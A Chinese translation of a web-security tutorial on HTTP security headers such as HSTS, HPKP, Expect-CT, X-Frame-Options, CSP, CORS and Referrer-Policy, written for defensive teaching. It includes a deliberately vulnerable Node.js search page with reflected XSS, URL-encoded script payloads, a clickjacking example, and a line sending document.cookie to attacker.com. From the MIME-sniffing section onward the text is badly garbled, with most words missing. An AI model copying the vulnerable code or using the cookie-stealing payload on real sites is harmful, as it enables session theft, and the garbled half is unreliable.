
这是Web安全系列的第三部分:第二部分是“
Web安全:HTTP简介 ”,第一部分是“
浏览器的工作原理-Web应用程序安全简介 ”。
正如我们在本系列前面的部分中所看到的,服务器除了发送客户端请求的内容之外,还可以发送HTTP标头以在响应中为客户端提供其他元数据。 然后允许客户端指定如何读取,缓存或保护特定资源。
浏览器现在实现了范围广泛的与安全性相关的标头,使攻击者更难以利用漏洞。 在本文中,我们将尝试讨论它们中的每一个,解释它们的使用方式,它们可以防止哪些攻击以及每个标题的历史记录。

该帖子是在EDISON Software的支持下撰写的,EDISON Software 力求获得俄罗斯程序员的荣誉,并详细分享了其在开发复杂软件产品方面的经验 。
HTTP严格传输安全性(HSTS)
自2012年底以来,由于严格的传输安全性,HTTPS Everywhere支持者使客户端始终使用HTTP协议的安全版本变得更加容易:非常简单的行
Strict-Transport-Security: max-age=3600
将告诉浏览器在接下来的一小时(3600秒)内不应通过不安全的协议与应用程序进行交互。
当用户尝试通过HTTP访问受HSTS保护的应用程序时,浏览器只是拒绝进一步操作,自动将
http://
URL转换为
https://
。
您可以使用
github.com/odino/wasec/tree/master/hsts代码在本地进行检查。 您将需要按照自述文件中的说明进行操作(包括使用
mkcert工具在计算机上为
localhost
安装受信任的SSL证书),然后尝试打开
https://localhost:7889
。
在此示例中,有2个服务器:正在侦听
7889
HTTPS和在端口
7888
上的HTTP。 当您访问HTTPS服务器时,它将始终尝试将您重定向到可以使用的HTTP版本,因为HSTS在HTTPS服务器上不可用。 如果改为将
hsts=on
参数添加到URL,则浏览器会强制将链接转换为
https://
版本。 由于只能通过http协议访问
7888
上的服务器,因此您最终将看到一个类似于以下内容的页面。

您可能有兴趣知道用户首次访问您的网站时会发生什么,因为HSTS策略尚未预定义:攻击者可能会诱使用户进入您网站的
http://
版本并在那里进行攻击,因此仍有问题的余地。 这是一个严重的问题,因为HSTS是首次使用时的信任机制。 他试图确保在访问网站后,浏览器知道在后续交互中应使用HTTPS。
解决此问题的方法可能是维护一个庞大的支持HSTS的网站数据库,Chrome通过
hstspreload.org做到了这
一点 。 您必须首先建立策略,然后访问网站,然后查看是否可以将其添加到数据库中。 例如,我们可以看到Facebook在列表中。

通过将您的网站提交到此列表,您可以提前告知浏览器您的网站使用HSTS,这样,即使客户端与服务器之间的首次交互也将通过安全通道进行。 但这很昂贵,因为您确实需要参加HSTS。 如果出于任何原因要从列表中删除您的网站,对于浏览器提供商来说,这都不是一件容易的事:
请记住,不能轻易取消预加载列表中的包含。
可以删除域,但是要向用户更新Chrome可能要花费数月的时间,我们不能保证其他浏览器。 如果不确定您是否可以长期支持整个站点及其所有子域的HTTPS,请不要请求将其包括在列表中。
-来源: https : //hstspreload.org/
这是因为提供程序无法保证所有用户都将使用其浏览器的最新版本,并且您的网站将从列表中删除。 请仔细考虑并根据您对HSTS的信任程度以及长期支持它的能力做出决定。
HTTP公钥固定(HPKP)
HTTP公钥固定是一种机制,它使我们可以在连接到服务器时告诉浏览器期望哪些SSL证书。 此标头在首次使用时使用信任机制,例如HSTS,并且意味着客户端连接到我们的服务器后,它将存储证书信息以用于后续交互。 如果客户端发现服务器正在使用其他证书,则会礼貌地拒绝连接,这将使执行“中间人”攻击(MITM)变得非常困难。
HPKP策略如下所示:
Public-Key-Pins: pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu="; pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3="; max-age=3600; includeSubDomains; report-uri="https://pkpviolations.example.org/collect"
标头使用证书哈希值宣布服务器将使用哪些证书(在本例中为两个),并包括其他信息,例如此指令的有效期(
max-age = 3600
)和其他一些详细信息。 不幸的是,深入了解我们如何保护公钥是没有意义的,
因为Chrome不赞成使用此功能 -这表明采用
该功能注定会失败。
Chrome的解决方案不是非理性的,这仅仅是保护公钥所带来的风险的结果。 如果您丢失了证书或只是在测试过程中犯了一个错误,那么早前访问该站点的用户将无法访问该站点(在
max-age
指令的有效期内,通常为数周或数月)。
由于这些潜在的灾难性后果,HPKP的采用率非常低,并且有时
由于配置错误而无法使用大型网站 。 鉴于以上所有情况,Chrome决定,如果没有HPKP提供的保护,用户会更好。
安全研究人员并不完全反对这一决定 。
期望CT
当HPKP拒登时,出现了一个新的标头,以防止客户端使用欺诈性SSL证书:
Expect-CT
。
此标头的目的是告诉浏览器它需要执行其他“后台检查”以验证证书是否真实:当服务器使用
Expect-CT
标头时,它基本上会要求客户端验证所使用的证书是否在开放透明证书日志中(CT)。
证书透明性计划是Google努力确保:
一个开放的平台,用于近乎实时地监视和审核SSL证书。
特别是,通过证书透明性,您可以检测由证书颁发机构错误颁发的SSL证书或从其他无缺陷证书颁发机构恶意获取的SSL证书。 它还使您可以识别已实施欺诈和恶意颁发证书的证书颁发机构。
-来源: https : //www.certificate-transparency.org/
标头采用以下形式:
Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"
在此示例中,服务器询问浏览器:
- 启用CT检查当前应用程序的时间为1小时(3600秒)
enforce
执行此策略,并在违反情况下拒绝对应用程序的访问- 如有违反,将报告发送到指定的URL
证书透明性计划的目标是比以前使用的任何其他方法更早,更快,更准确地检测错误颁发的或恶意的证书(以及欺诈的证书颁发机构)。
通过启用
Expect-CT
标头,您可以采取这一举措来改善应用程序的安全性状态。
X帧选项
假设您看到这样的网页

一旦单击链接,您就会知道您的银行帐户中的所有钱都已消失。 发生什么事了
您是点击劫持攻击的受害者。
攻击者将您定向到他的网站,该网站显示一个非常诱人的点击链接。 不幸的是,他还使用
your-bank.com/transfer?amount=-1&[attacker@gmail.com]
嵌入了iframe页面,但通过将透明度设置为0%来隐藏了它。 我们以为我们点击了原始页面,试图赢得一个全新的胜利,但是浏览器却改为固定了对iframe的点击,这是确认汇款的危险点击。
大多数银行系统要求您提供一次PIN来确认交易,但是您的银行没有赶上时间,所有的钱都丢失了。
该示例非常极端,但是它应该使您了解
使用点击劫持进行
攻击的后果。 用户打算单击特定的链接,而浏览器将导致单击嵌入在框架中的“不可见”页面。
我在
github.com/odino/wasec/tree/master/clickjacking中包含了此漏洞的
示例 。 如果运行示例并尝试单击“有吸引力的”链接,则将看到iframe拦截了真正的点击,这使其不透明,从而使您更容易发现问题。 一个示例应该在
http://localhost:7888
。

幸运的是,浏览器为这个问题提出了一个简单的解决方案:
X-Frame-Options
(XFO),它使您可以决定是否可以将应用程序作为iframe嵌入到外部网站上。 XFO受到Internet Explorer 8的广泛欢迎,于2009年首次引入,至今仍受所有主要浏览器的支持。
它的工作方式如下:当浏览器看到iframe时,它将对其进行加载并检查其XFO是否允许其在呈现前被包含在当前页面中。

支持的值:
DENY
:该网页无法嵌入任何地方。 这是最高的保护级别,因为它不允许任何人嵌入我们的内容。SAMEORIGIN
:只有与当前域相同的域中的页面才能插入此页面。 这意味着,如果example.com/embedded
的策略设置为SAMEORIGIN
则可以加载example.com/embedded
。 这是一个比较平静的政策,允许特定网站的所有者在其应用程序中嵌入自己的页面。ALLOW-FROM uri
:允许从指定的URI进行附件。 例如,我们可以允许外部授权网站使用ALLOW-FROM https://external.com
嵌入我们的内容。 当您要允许第三方开发人员通过iframe嵌入内容时,通常会使用此功能。
包含最严格的XFO策略的HTTP响应示例如下:
HTTP/1.1 200 OK Content-Type: application/json X-Frame-Options: DENY ...
为了演示打开XFO时浏览器的行为,我们可以简单地将示例URL更改为
http://localhost:7888 /?xfo=on
。
xfo=on
参数告诉服务器在响应中包含
X-Frame-Options: deny
,我们可以看到浏览器如何限制对iframe的访问:

XFO被认为是防止基于框架的基于单击的攻击的最佳方法,直到几年后又出现了另一个标题-内容安全策略或简称CSP。
内容安全政策(CSP)
Content-Security-Policy
标头(缩写为CSP)提供了下一代实用程序,可防止从XSS(跨站点脚本)到单击拦截(单击劫持)的各种攻击。
要了解CSP如何帮助我们,您首先需要考虑一个攻击媒介。 假设我们刚刚创建了自己的Google搜索引擎,其中有一个带有输入按钮的简单输入字段。

此Web应用程序没有神奇的功能。 很简单
- 显示表格
- 允许用户搜索
- 显示搜索结果以及用户搜索的关键字
当我们执行简单搜索时,应用程序将返回以下内容:

好厉害 我们的应用程序非常了解我们的搜索并找到了相似的图像。 如果我们深入研究
github.com/odino/wasec/tree/master/xss上的源代码,我们将很快意识到该应用程序存在安全问题,因为用户搜索的任何关键字都直接以HTML格式打印:
var qs = require('querystring') var url = require('url') var fs = require('fs') require('http').createServer((req, res) => { let query = qs.parse(url.parse(req.url).query) let keyword = query.search || '' let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...` res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results)) }).listen(7888) <html> <body> <h1>Search The Web</h1> <form> <input type="text" name="search" value="__KEYWORD__" /> <input type="submit" /> </form> <div id="results"> __RESULTS__ </div> </body> </html>
这是不愉快的结果。 攻击者可以创建一个特定的链接,该链接可以在受害者的浏览器中执行任意JavaScript。

如果您有时间和耐心在本地运行该示例,则可以快速了解CSP的全部功能。 我添加了一个包含CSP的查询字符串参数,因此我们可以尝试转到启用了CSP的恶意URL:
本地主机 :7888 /?搜索=%3Cscript +类型%3D 3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp = on

如上例所示,我们告诉浏览器,我们的CSP策略仅允许包含来自当前URL相同源的脚本,我们可以通过使用curl访问URL并查看响应标头来轻松检查脚本:
$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on" HTTP/1.1 200 OK X-XSS-Protection: 0 Content-Security-Policy: default-src 'self' Date: Sat, 11 Aug 2018 10:46:27 GMT Connection: keep-alive
由于XSS攻击是使用嵌入式脚本(直接嵌入HTML内容的脚本)进行的,因此浏览器礼貌地拒绝执行该脚本,从而确保了用户的安全。 想象一下,攻击者不仅会显示警告对话框,还会通过一些JavaScript代码将重定向设置为他自己的域,如下所示:
window.location = `attacker.com/${document.cookie}`
他们可能窃取所有用户cookie,其中可能包含非常机密的数据(在下一篇文章中将对此进行更多介绍)。
到现在为止,应该清楚CSP如何帮助我们防止对Web应用程序的大量攻击。 您定义了一个策略,浏览器将严格遵守该策略,拒绝运行会违反该策略的资源。
CSP的一个有趣选项是“仅报告”模式。 除了使用
Content-Security-Policy
标头,您还可以通过告诉浏览器仅报告错误而不阻止脚本执行等来检查CSP在站点上的效果。使用
Content-Security-Policy-Report-Only
标头。
这些报告将使您了解要部署的CSP策略可能导致哪些重要更改,并相应地进行更正。 我们甚至可以提供报告URL,浏览器将向我们发送报告。 这是一个完整的仅报告策略示例:
Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector
CSP策略本身可能会有些复杂,例如,在以下示例中:
Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com
该策略定义以下规则:
- 可执行脚本(例如JavaScript)只能从
scripts.example.com
下载 - 可以从任何来源下载图像(
img-src: *
) - 可以从两个来源下载视频或音频内容:
medias.example.com
和medias.legacy.example.com
如您所见,可能有很多政客,如果我们想为用户提供最大的保护,这可能是一个相当繁琐的过程。 但是,编写全面的CSP策略是向我们的Web应用程序添加额外安全层的重要一步。
有关CSP的更多信息,建议您使用
developer.mozilla.org/en-US/docs/Web/HTTP/CSP 。
X-XSS保护
尽管已由CSP代替,但
X-XSS-Protection
标头提供了相同类型的保护。 此标头用于缓解不完全支持CSP的旧版浏览器中的XSS攻击。 Firefox不支持此标头。
它的语法与我们刚刚看到的非常相似:
X-XSS-Protection: 1; report=http://xssviolations.example.com/collector
当服务器在没有任何验证的情况下打印输入的文本时,反射的XSS是最常见的攻击类型,这正是此标头真正解决的地方。 如果您想亲自查看它,建议您在
github.com/odino/wasec/tree/master/xss上尝试该示例,因为通过在URL
xss=on
添加
xss=on
可以显示启用XSS保护时浏览器的功能。 。 如果我们在搜索字段中输入了恶意字符串,例如,浏览器会礼貌地拒绝执行脚本并解释其决定的原因:
The XSS Auditor refused to execute a script in 'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior.
当未在网页上指定CSP或XSS策略时,Chrome中的默认行为更加有趣。 我们可以通过将
xss=off
参数添加到URL中来测试脚本(
http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=off
):

令人惊讶的是,Chrome足够小心以防止页面渲染,这使得创建镜像XSS变得困难。 令人印象深刻的浏览器。
功能政策
2018年7月,安全研究员
Scott Helm发布了一篇非常有趣的
博客文章,详细介绍了新的安全标题:
Feature-Policy
。
当前只有很少的浏览器(在撰写本文时,Chrome和Safari)支持该标头,这使我们可以确定当前页面上是否启用了特定的浏览器功能。 使用与CSP非常相似的语法,我们应该毫无疑问地理解功能策略的含义,例如:
Feature-Policy: vibrate 'self'; push *; camera 'none'
如果我们不确定该政策如何影响浏览器API,我们可以对其进行简单分析:
vibrate 'self'
:允许当前页面使用振动API和当前站点上的任何框架。push *
:当前页面和任何框架都可以使用推送通知APIcamera 'none'
:在此页面和任何框架上均拒绝访问摄像头API
功能政策有一点历史。 例如,如果您的网站允许用户拍摄自拍或录制音频,则在其他情况下使用限制通过您的页面访问API的策略将非常有用。
X内容类型选项
有时,智能浏览器功能最终会损害我们的安全性。 一个典型的例子是MIME嗅探,它是Internet Explorer中流行的一种技术。
MIME- — ( ) . ,
/awesome-picture.png
, (,
Content-Type: text/plain
). , .
, IE , MIME-: «» , , ,
Content-Type
, , , , .
-, , ,
/test.jpg
, JavaScript. , ? , HTML , , «», . , , , .
,
X-Content-Type-Options: nosniff
, MIME-: , , , . , , , .
Cross-Origin Resource Sharing (CORS)
JavaScript HTTP- . , AJAX-
example.com
example.com
.
, — cookie, . ,
win-a-hummer.com
, AJAX
your-bank.com
. - , HTTP- , , , .
AJAX , Cross Origin Resource Sharing (CORS), , .
, CORS, , , «» CORS.
, , ,
Access-Control-Allow-Origin
, , .
Access-Control-Allow-Origin: *
, , , URL-, ,
Access-Control-Allow-Origin: https://example.com
.
github.com/odino/wasec/tree/master/cors , , . , AJAX
test-cors
test-cors-2
. test-cors-2 CORS, , .
http://cors-test:7888/?cors=on

cors
URL, :

, , , , . , , . , , ,
my-bank.com/transfer?amount=1000&from=me&to=attacker.
!
,
GET
- , ,
POST
-? , , ,
http://cors-test:7888/?method=POST
:

POST
, , « ». ,
OPTIONS
, . , ,
POST
.
:
- CORS — . , , , .
- API,
GET
. , .
, -, , , CORS. , ,
example.com
,
example.com/_proxy/other.com
, ,
_proxy/other.com/*
,
other.com
.
, , CORS, MDN ,
developer.mozilla.org/en-US/docs/Web/HTTP/CORS .
X-Permitted-Cross-Domain-Policies
CORS,
X-Permitted-Cross-Domain-Policies
Adobe ( , Flash Acrobat).
, , . , Adobe
crossdomain.xml
, ,
X-Permitted-Cross-Domain-Policies
.
?
X-Permitted-Cross-Domain-Policies: none
, Flash.
Referrer-Policy
, , .
Referer
, . URL , .
, , . , .
Referer
. , , .
Referrer-Policy
, 2017 , , , URL-
Referer
.
,
Referrer-Policy
:
no-referrer
: Referer
origin
: https://example.com/private-page
https://example.com/
same-origin
: Referer
,
,
Referred-Policy
(
strict-origin
,
no-referrer-when-downgrade
. .), , , , . , ,
OWASP .
Origin
Referer
, , , .
Origin
, . -:
Origin
, .
, HTTP-, cURL, : c
url -H "Origin: example.com" api.example.com
origin ……
Origin
(
Referer
, ) .
securityheaders.com , -, , - , . , URL, .
facebook.com :

, , securityheaders.com — , .
HTTP : cookie
HTTP, , - , .
HTTP: .
, - HTTP , , , ( ) -: - , , « ». , cookie , .